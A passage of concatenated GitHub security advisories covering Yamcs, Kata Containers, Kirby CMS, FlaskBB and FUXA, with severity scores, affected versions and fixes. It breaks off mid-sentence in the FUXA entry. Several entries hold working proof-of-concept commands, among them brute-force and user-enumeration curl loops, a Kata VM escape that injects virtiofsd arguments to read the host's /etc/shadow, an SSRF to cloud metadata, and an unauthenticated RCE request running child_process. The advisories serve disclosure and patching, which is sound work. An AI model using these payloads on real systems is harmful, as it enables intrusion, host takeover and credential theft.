Yamcs has No Rate Limiting on Authentication Endpoint

### Summary The authentication endpoint `POST /auth/token` in `yamcs-core` lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account. This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks. ### Root Cause **File:** `yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java` `POST /auth/token` has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism: ```java // AuthHandler.java — handleToken() // No throttle, no failed attempt counter, no lockout private void handleToken(HandlerContext ctx) { ... getSecurityStore().login(token).whenComplete((info, err) -> { // Directly attempts authentication with no rate check }); } ``` This is absent by default — the official quickstart and documentation contain no guidance on configuring rate limiting. ### Impact An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account. ### Proof of Concept ```bash # 20 attempts — zero rate limiting for i in $(seq 1 20); do curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \ -X POST "http://TARGET:8090/auth/token" \ -d "grant_type=password&username=operator&password=operator12$i" done # All return HTTP 401 — no HTTP 429 ever ``` **Confirmed:** 20 attempts in 0.07 seconds, no rate limiting enforced. ### Fix Implement DRF-style throttling on `/auth/token`: ```java // Track failed attempts per IP private static final Cache<String, Integer> FAILED_ATTEMPTS = CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build(); private static final int MAX_ATTEMPTS = 10; private void handleToken(HandlerContext ctx) { String ip = ctx.getRemoteAddress(); int attempts = Optional.ofNullable(FAILED_ATTEMPTS.getIfPresent(ip)).orElse(0); if (attempts >= MAX_ATTEMPTS) { throw new TooManyRequestsException("Rate limit exceeded"); } // ... existing auth logic // On failure: FAILED_ATTEMPTS.put(ip, attempts + 1) } ```

medium

2026-05-27 03:04:28+03:00

2026-05-27 03:04:29+03:00

['https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4', 'https://github.com/advisories/GHSA-w5r6-mcgq-7pq4']

[{'package': {'name': 'org.yamcs:yamcs-core', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '5.12.7', 'vulnerable_version_range': '< 5.12.7'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N'}

[{'name': 'Improper Restriction of Excessive Authentication Attempts', 'cwe_id': 'CWE-307'}]

750a7bf5c00e33cda65f51a908b8ea11721cc8fb33e6b2366596d5feb25562f0

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-p2rj-mrmc-9w29

CVE-2026-44595

Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints

### Summary The IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships. This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information. ### Root Cause **File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372` `listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships: ```java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } ``` Compare with properly protected endpoints: ```java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present ``` ### Impact Any authenticated user can: 1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts ### Proof of Concept ```bash # Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=lowpriv&password=lowpriv123" # Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste access_token ``` **Output (confirmed):** ```json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } ``` ### Fix Add `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`: ```java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... } ```

medium

2026-05-27 03:03:56+03:00

2026-05-27 03:03:56+03:00

['https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29', 'https://github.com/advisories/GHSA-p2rj-mrmc-9w29']

[{'package': {'name': 'org.yamcs:yamcs-core', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '5.12.7', 'vulnerable_version_range': '< 5.12.7'}]

{'score': 4.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N'}

[{'name': 'Missing Authorization', 'cwe_id': 'CWE-862'}]

063f99bf7de0abe33e81f320ab50ef13c120ee541ceea2f1133b192a08865619

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-rr59-xxvx-96qr

CVE-2026-44210

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

## Summary Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. ## Details The default Kata configuration at configuration.toml line 1 contains: ``` enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"] ``` Both `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered. In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments: ```go if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok { var parsedValue []string err := json.Unmarshal([]byte(value), &parsedValue) // ... sbConfig.HypervisorConfig.VirtioFSExtraArgs = append( sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...) } ``` In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=<kata_managed_path>` first, then appends the extra args: ```go args := []string{ "--syslog", "--cache=" + v.cache, "--shared-dir=" + v.sourcePath, fmt.Sprintf("--fd=%v", FdSocketNumber), } if len(v.extraArgs) != 0 { args = append(args, v.extraArgs...) } ``` The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462: ```rust ["source", value] => opt.shared_dir = Some(value.to_string()), ``` Because `-o source=/` is appended after `--shared-dir=<kata_path>`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device. Additionally, virtiofsd's `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount. The `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly. ## Rootfs bridge (PoC artifact, not a real constraint) When virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/<container-id>/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr. In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself. ## Impact An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can: - Read any file on the host, including /etc/shadow, SSH private keys, and service credentials - Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement - Access other containers' data through the host filesystem - Compromise the Kubernetes control plane if it runs on the same host ## Steps to reproduce Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball. 1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations. 2. Pull a container image: ``` ctr image pull docker.io/library/alpine:latest ``` 3. Run the PoC script below, or follow the manual steps: Manual steps: a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name): ``` SB_ID="poc-exploit" mkdir -p /$SB_ID/rootfs # Extract alpine rootfs from OCI image mkdir -p /tmp/oci-extract ctr image export /tmp/oci.tar docker.io/library/alpine:latest tar xf /tmp/oci.tar -C /tmp/oci-extract IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://') MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \ "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://') LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://') tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs rm -rf /tmp/oci-extract /tmp/oci.tar ``` b. Create a marker file on the host to prove access: ``` echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker ``` c. Start the container with the malicious annotations: ``` ctr run \ --runtime io.containerd.kata.v2 \ --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \ --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \ docker.io/library/alpine:latest $SB_ID \ sleep 3600 & ``` Wait 20-30 seconds for the VM to start. Verify with `ctr task ls`. d. Enter the VM through the debug console: ``` /opt/kata/bin/kata-runtime exec $SB_ID ``` e. Inside the VM, mount the host filesystem and read host files: ``` mkdir -p /tmp/hostfs mount -t virtiofs kataShared /tmp/hostfs cat /tmp/hostfs/etc/hostname cat /tmp/hostfs/root/.poc-marker head -3 /tmp/hostfs/etc/shadow cat /tmp/hostfs/etc/os-release ls /tmp/hostfs/opt/kata/bin/ ``` f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host. 4. Clean up: ``` ctr task kill $SB_ID --signal SIGKILL ctr container rm $SB_ID umount /$SB_ID/rootfs rm -rf /$SB_ID ``` ## Proof of concept output Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux. ``` root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l) DIRCOUNT:37 root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname) HOSTNAME:kata-poc root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release) OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS" root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker HOST_NS2_1776058192 root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow) SHADOW:root:*:17478:0:99999:7::: root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3) BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3) KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker ``` The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

medium

2026-05-27 02:57:58+03:00

2026-05-27 02:57:58+03:00

['https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr', 'https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744', 'https://github.com/advisories/GHSA-rr59-xxvx-96qr']

[{'package': {'name': 'github.com/kata-containers/kata-containers', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '0.0.0-20260519062212-ffa59ce3aa78', 'vulnerable_version_range': '< 0.0.0-20260519062212-ffa59ce3aa78'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", 'cwe_id': 'CWE-88'}]

94a133cc1caa664854ae9a6ace75f2efc2de0cf43a35fd17e4c7f4ce16dfd5f3

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-9hx7-c53c-v6x8

CVE-2026-44177

Kirby CMS has pre-authentication path traversal and PHP file inclusion during user lookup

### TL;DR This vulnerability affects all Kirby sites on Kirby 5.3.0-5.4.0 and is independent from setup conditions and authentication. **This vulnerability is of high severity for all Kirby sites**. ---- ### Introduction Path traversal is a type of attack that allows to access arbitrary filesystem paths. By using special elements such as `..` and `/` separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the `../` sequence, which in most modern operating systems is interpreted as the parent directory of the current location. Path traversal can give attackers information about the filesystem and directory structure on the server and can lead to additional attacks depending on the nature of the accessible files and directories. PHP file inclusion is a type of attack that allows to load and execute PHP files on the server that are not intended for direct inclusion. Depending on the logic inside the PHP files, this can lead to disclosure of sensitive information or unintended, malicious actions. ### Affected components Kirby's `Users` collection received a performance improvement in Kirby 5.3.0. Starting in this release, Kirby loads user objects lazily when they are first needed. Users are queried by their user ID, which is then used to look up the user's account directory in the `site/accounts` directory. This applies to the authentication API (accessible to unauthenticated requests), the users API (accessible to authenticated users only) as well as to other places that use `$users->find()` to look up an individual user with a request-provided email or user ID. ### Impact In affected releases, Kirby did not correctly validate the provided user ID, causing a path traversal vulnerability. This vulnerability results in the following impact: - Arbitrary PHP file inclusion of files with the filename `index.php` (e.g. the main PHP files of plugins), the impact of which depends on the contents and logic inside the includable files. - Probing of the existence of arbitrary directories on the server, which can allow attackers to fingerprint the server and site setup, including installed plugins and the content structure. ### Patches The problem has been patched in [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to this or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In the mentioned release, Kirby has added additional checks to the user lookup that ensure that the provided user ID only contains valid characters and that the resulting path to the account directory is contained in the `site/accounts` directory. ### Credits Kirby thanks @offset for responsibly reporting the identified issue.

high

2026-05-27 02:56:40+03:00

2026-05-27 02:56:41+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-9hx7-c53c-v6x8']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.3.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", 'cwe_id': 'CWE-22'}, {'name': "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')", 'cwe_id': 'CWE-98'}]

ad1266a40f7f4dab14e469f142569ffaedf98cadd6d6818f9a659c76186a7beb

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2xw4-v2wx-hqq9

CVE-2026-44176

Kirby CMS's `pages.access` permission is not checked during rendering of page drafts

### TL;DR This vulnerability affects all Kirby sites where users of a particular role have no permission to access pages (`pages.access` permission is disabled). This can be due to configuration in the user blueprint(s), via `options` in the model blueprint(s) or via a combination of both settings. Kirby sites are *not* affected if they intend all users of the site to be able to access all page drafts of the site. The vulnerability can only be exploited by authenticated users. Write actions are *not* affected by this vulnerability. ---- ### Introduction Missing authorization allows authenticated users to perform actions they are not intended to have access to. The effects of missing authorization can include unauthorized access to sensitive information as well as unauthorized changes to content or system information. ### Affected components Kirby's user permissions control which user role is allowed to perform specific actions to content models in the CMS. These permissions are defined for each role in the user blueprint (`site/blueprints/users/...`). It is also possible to customize the permissions for each target model in the model blueprints (such as in `site/blueprints/pages/...`) using the `options` feature. The permissions and options together control the authorization of user actions. Kirby provides the `pages.access` and `pages.list` permissions (among others). The `list` permission controls whether affected models appear in lists throughout the Panel and REST API. The `access` permission has the same effect but also disables direct access to the affected models. This vulnerability affects the path resolver for the main CMS router. The resolver takes an input path from the requested URL and determines which model (page or file) should be rendered. When a path is requested that points to a page draft, the resolver checks that the request either contains a valid preview token or is authenticated by a valid user. ### Impact In affected releases, Kirby allowed page drafts to be rendered if any valid user was authenticated, even if that user did not have access to the specific page model. Authenticated attackers with knowledge of the full path to an existing page draft could then access the rendered frontend page. This could lead to the disclosure of sensitive information, e.g. ahead of the launch of a new product or post. ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In all of the mentioned releases, Kirby has added a check that verifies that the requested page draft is accessible to the current user before rendering the draft template. ### Credits Kirby thank to @adrgs for responsibly reporting the identified issue.

medium

2026-05-27 02:55:35+03:00

2026-05-27 02:55:36+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-2xw4-v2wx-hqq9', 'https://github.com/getkirby/kirby/releases/tag/4.9.1', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-2xw4-v2wx-hqq9']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.9.1', 'vulnerable_version_range': '<= 4.9.0'}, {'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.0.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Missing Authorization', 'cwe_id': 'CWE-862'}]

df028b87cb4f6ca78b8eca7daf643f82ac7faa04c1cf3e0ed3761806234e69a4

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-5fhx-9q32-q257

CVE-2026-44175

Kirby CMS vulnerable to cross-site scripting (XSS) from list field content in the site frontend

### TL;DR This vulnerability affects all Kirby sites that use the list field or list block, when content is authored by users who may not be fully trusted. The attack requires an authenticated Panel user with update permission to any list field or list block. **This vulnerability is of high severity for affected sites.** Kirby sites are *not* affected if they don't use the list field (or blocks field with the list block) in any of their blueprints, or if every user who can edit content is fully trusted. The attack only surfaces in the site frontend (i.e. in the consuming project's templates). The Panel itself is unaffected and will not execute JavaScript that was injected into list field content. ---- ### Introduction Cross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of the same or other users. In the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim. In a *stored* XSS attack, the malicious payload is saved into the content data and has the potential to affect other users or site visitors. Such vulnerabilities are critical if applications might have potential attackers in their group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on the site, other JavaScript-powered attacks are possible. A specific class of stored XSS is auto-firing, meaning the malicious injected JavaScript code is executed by the browser when the page loads without the victim having to perform a specific action. ### Affected components Kirby's [list field](https://getkirby.com/docs/reference/panel/fields/list) stores its formatted content as HTML code. Unlike with other field types, it is not possible to [escape HTML special characters](https://getkirby.com/docs/guide/templates/escaping) against cross-site scripting (XSS) attacks, otherwise the formatting would be lost. ### Impact In affected releases, Kirby did not securely sanitize the contents of list fields on save. This allowed attackers to inject malicious HTML code into the content file by sending it to Kirby's API directly without using the Panel. This malicious HTML code would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site. ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In all of the mentioned releases, Kirby has added HTML sanitization (like in the writer field) to the backend code that handles updates to the contents of list fields. ### Credits Kirby thanks @offset for responsibly reporting the identified issue.

high

2026-05-27 02:49:56+03:00

2026-05-27 02:49:56+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-5fhx-9q32-q257', 'https://github.com/getkirby/kirby/releases/tag/4.9.1', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-5fhx-9q32-q257']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.9.1', 'vulnerable_version_range': '<= 4.9.0'}, {'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.0.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

0412e41324cb33eafa1aceab325f5199a1b08672926ad042f71214380919c59d

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-xq32-9g7q-7297

CVE-2026-46556

FlaskBB: SSRF in get_image_info() via unrestricted avatar URL

###Summary A Server-Side Request Forgery (SSRF) vulnerability in get_image_info() allows any authenticated user to force the server to send HTTP requests to arbitrary internal endpoints, including cloud metadata services (e.g., AWS 169.254.169.254). This is a blind SSRF with confirmed internal port scanning and internal API triggering capabilities. CVSS 6.5 Medium. ###Details In flaskbb/utils/helpers.py (line 571), the url parameter is passed directly to requests.get(url, stream=True) without any validation of scheme, host, or IP address. ``` python# flaskbb/utils/helpers.py:571 def get_image_info(url: str): r = requests.get(url, timeout=(3.05, 27), stream=True) ``` Attack chain: ``` POST /user/settings/user-details (avatar URL) → ValidateAvatarURL.validate() # validators.py:103 → check_image(avatar) # helpers.py:628 → get_image_info(url) # helpers.py:571 → requests.get(url) # No domain/IP restriction Entry points: /user/settings/user-details (any authenticated user) /admin/users/<id>/edit (admin only) ``` ###PoC [submit.zip](https://github.com/user-attachments/files/26301527/submit.zip) Log in to FlaskBB as any user Navigate to Settings → User Details Enter http://169.254.169.254/latest/meta-data/ as the avatar URL Submit the form The server sends a GET request to the internal metadata endpoint Three exploitation channels confirmed: Server-side request: Captured on mock metadata server Internal port scan: check_image() returns distinct errors (CONN_REFUSED, NO_CONTENT_LENGTH, TYPE_NOT_ALLOWED, SUCCESS) that map internal network topology Internal API triggering: Mock APIs on 127.0.0.1:9200 triggered via SSRF (deploy, shutdown, key dump endpoints) ###Impact Any authenticated user is impacted. Attackers can force the server to request internal services, cloud metadata endpoints, or private network resources. On cloud deployments (AWS/GCP/Azure), IAM credentials can be leaked. In production, any GET-triggered internal service is reachable: CI/CD webhooks, Elasticsearch, etcd, Consul, etc.

medium

2026-05-21 23:42:09+03:00

2026-05-21 23:42:10+03:00

['https://github.com/flaskbb/flaskbb/security/advisories/GHSA-xq32-9g7q-7297', 'https://github.com/advisories/GHSA-xq32-9g7q-7297']

[{'package': {'name': 'flaskbb', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 2.2.0'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'}

[{'name': 'Server-Side Request Forgery (SSRF)', 'cwe_id': 'CWE-918'}]

30fa4f9492d046845192264a92cbd227d0694c0ba290f2557add5521a7c0c460

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-86rh-h242-j8xp

CVE-2026-44174

Kirby CMS has an Arbitrary Method Call via REST API Search and Collection Query Endpoints

### TL;DR This vulnerability affects all Kirby sites that might have potential attackers in the group of authenticated Panel users. **This vulnerability is of high severity for affected sites and has a high real-world impact.** ---- ### Introduction Arbitrary method call is a type of arbitrary code execution. It is a vulnerability that allows attackers to run any commands or code of the attacker's choice on a target machine or in a target process. Depending on the set of accessible methods, this can lead to disclosure of sensitive information or to unintended and malicious write actions. ### Affected components Kirby's data model is made up of model objects that are contained in collection objects. These collections can be queried with methods such as `$collection->filter()`, `$collection->sort()`, `$collection->group()`, `$collection->pluck()` and `$collection->findBy()`. Each of these methods allows to query the models contained in the collection by any accessible model attribute (field or method). Kirby also provides endpoints in its REST API that allow to search through users or through children and files of the site or of a particular page. These endpoints allow the `search`, `not`, `filter` and `sort` queries as well as options to paginate the result. The same kind of queries can also be provided to API collections such as `/<site|page|user>/blueprints`, `/<site|page>/children`, `/<model>/files`, `/languages`, `/roles`, `/translations`, `/users` and `/<user>/roles`. ### Impact In affected releases, Kirby did not validate the model attributes that were used in the collection queries. This allowed attackers to include arbitrary model methods in their queries. This includes methods with sensitive data such as `password()` (disclosing the password hash) or `root()` (disclosing the absolute filesystem path on the server) as well as methods that perform impactful actions such as `loginPasswordless()` (causing a privilege escalation to another user) or `delete()` (deleting all queried models in one go if the authenticated user has appropriate permissions). ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In all of the mentioned releases, Kirby has added a blocklist of sensitive model methods that should not be called during collection operations and limited the query options for the affected endpoints to search and pagination. ### Credits Kirby thanks @mojamojam for responsibly reporting the identified issue.

high

2026-05-27 02:47:17+03:00

2026-05-27 02:47:20+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-86rh-h242-j8xp', 'https://github.com/getkirby/kirby/releases/tag/4.9.1', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-86rh-h242-j8xp']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.9.1', 'vulnerable_version_range': '<= 4.9.0'}, {'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.0.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': "Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')", 'cwe_id': 'CWE-470'}]

428d4013d36383130fe321e694af23bcb2f66fa8727f9700de06e03b0a7357c7

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-rg3m-cfq7-g6h6

CVE-2026-43947

FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

### Summary An unauthenticated Remote Code Execution vulnerability exists in FUXA when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. ### Details **Authorization confused deputy in script execution** File: `server/runtime/scripts/index.js`, lines 86-103 The authorization check looks up the stored script by ID and validates the stored script's `permission` field: ```javascript this.isAuthorised = function (_script, permission) { const st = scriptModule.getScript(_script); // finds stored script by _script.id if (admin || (st && (!st.permission || st.permission & permission))) { return true; } return false; } ``` When a script has no `permission` field set (or `permission: 0`), the expression `!st.permission` evaluates to `true`, and the check passes for any caller including guests. **Guest auto-authentication in the middleware** File: `server/api/jwt-helper.js`, lines 46-72 The `verifyToken` middleware generates a valid guest JWT when no token is provided: ```javascript if (!token) { token = getGuestToken(); } ``` The guest token passes verification. The request proceeds to the handler with `userId: "guest"`. The `isAuthorised` check then finds the stored script and validates against its permission. Scripts without a `permission` field pass for any user including guests. **Test mode executes attacker-supplied code** File: `server/runtime/scripts/msm.js` When `test: true` is set, `runTestScript` takes the attacker's `code` field from the request body, compiles it into a Node.js module via `Module._compile`, and executes it with full access to `require`, `child_process`, `fs`, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code. ### PoC Requires an existing server-side script accessible without restrictive permissions. **Step 1: Retrieve script IDs from the unauthenticated project endpoint** ```bash curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}' ``` ```json { "id": "legit-001", "name": "calculate", } { "id": "s_42a888fa-8e3d4213", "name": "subs", } ``` **Step 2: Execute `whoami` without authentication** Using the script ID and name from step 1: ```bash curl -s -X POST http://192.168.32.129:1881/api/runscript \ -H "Content-Type: application/json" \ -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}' ``` ### Impact Any network-reachable attacker can achieve Remote Code Execution on the FUXA 